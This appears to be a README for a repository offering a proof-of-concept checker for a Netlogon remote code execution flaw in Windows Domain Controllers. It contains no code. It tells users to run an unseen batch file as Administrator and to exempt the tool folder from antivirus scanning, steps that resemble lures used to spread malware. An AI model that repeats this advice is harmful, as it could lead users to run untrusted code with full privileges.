🛡️ CVE-2026-41089-Netlogon-RCE - Analyze critical Windows service security vulnerabilities

This repository provides tools to analyze and test the Netlogon vulnerability known as CVE-2026-41089. This tool helps security professionals identify if their Windows Domain Controllers face risks from this specific remote code execution flaw.

📋 Understanding the Risk

The Netlogon service manages user authentication and network traffic within Windows domain environments. A flaw in this service allows an unauthenticated user to send specific network packets to a Domain Controller. This action can lead to full system takeover.

Security teams use this tool to verify their patch status. By running the provided proof-of-concept, you can confirm whether your systems block these unauthorized attempts effectively.

🖥️ System Requirements

To use this tool, ensure your environment meets these standards:

• Operating System: Windows 10, Windows 11, or Windows Server 2019/2022.
• Network Access: Direct connectivity to the target Domain Controller.
• Permissions: You need local administrative rights to execute network testing utilities.
• Software: The Windows PowerShell environment must be enabled.

📥 Download and Setup

Follow these steps to obtain the tool:

1. Visit the official releases page to download the latest version.
2. Select the file ending in .zip for your Windows system.
3. Save the folder to a location you can access, such as your Downloads folder.
4. Right-click the folder and choose Extract All to view the contents.

⚙️ Running the Security Tool

After the download finishes, follow these steps to use the tool:

1. Open the extracted folder named CVE-2026-41089-Netlogon-RCE.
2. Locate the file named run_analysis.bat.
3. Right-click this file and select Run as Administrator.
4. A console window will appear. Input the IP address of the target Domain Controller when prompted.
5. The tool will conduct a series of non-destructive checks against the Netlogon service.
6. Review the output provided in the console window.

🔍 Interpreting Results

The tool displays two main outcomes:

• Vulnerable: The target system accepts the test packets. This indicates the system needs immediate security patches from Microsoft.
• Secure: The system rejects the test packets. Your current security configuration blocks this attack vector.

🛡️ Best Practices for Remediation

If your test indicates a vulnerable system, take these steps immediately:

1. Check for Windows Updates. Microsoft releases patches specifically designed to close these gaps.
2. Ensure the Netlogon service uses secure RPC communication.
3. Limit access to Domain Controllers by using firewall rules. Only allow traffic from known, trusted devices.
4. Review logs for any unusual authentication activity.

⚙️ Advanced Configuration (Optional)

Users with specific network needs can modify the config.json file found in the program folder. This file allows you to change internal timeouts or log file locations. Always save a copy of the original file before making changes.

⚠️ Important Safety Rules

Only use this tool on systems you own or have explicit permission to test. Unauthorized testing on networks can cause service disruptions or create security risks. Treat all network analysis with caution. This tool exists for educational purposes and authorized security auditing only.

🆘 Troubleshooting

• Permission Errors: Ensure you run the file as an administrator. Right-clicking the file is the best way to choose this option.
• Network Timeouts: Verify that your machine can ping the target Domain Controller. Firewalls often block testing traffic by default.
• Missing Files: If the console fails to start, ensure you extracted all files from the zip folder before running the script.
• Antivirus Flags: Some security software might flag this tool due to its nature. You may need to create an exception for the tool folder within your antivirus settings to allow it to function.

📖 Frequently Asked Questions

Does this tool install software on my machine? No. The application runs as a portable script. It does not modify your Windows Registry or install background services.

Can this tool crash my Domain Controller? The tool uses standard, non-destructive network queries. It follows safe testing patterns to ensure minimal impact on system performance.

Do I need a special account to run this? You need administrative authority on the computer you use to launch the tool. You do not need a Domain Admin account to perform the test, as the vulnerability affects unauthenticated access.

How often should I run this? Run this tool after every major Windows patch update to verify that your security controls remain active and effective.

Keywords: active-directory, buffer-overflow, cve-2026-41089, cybersecurity, domain-controller, exploit-poc, netlogon-rce, privilege-escalation, remote-code-execution, threat-hunting, windows-security, zero-day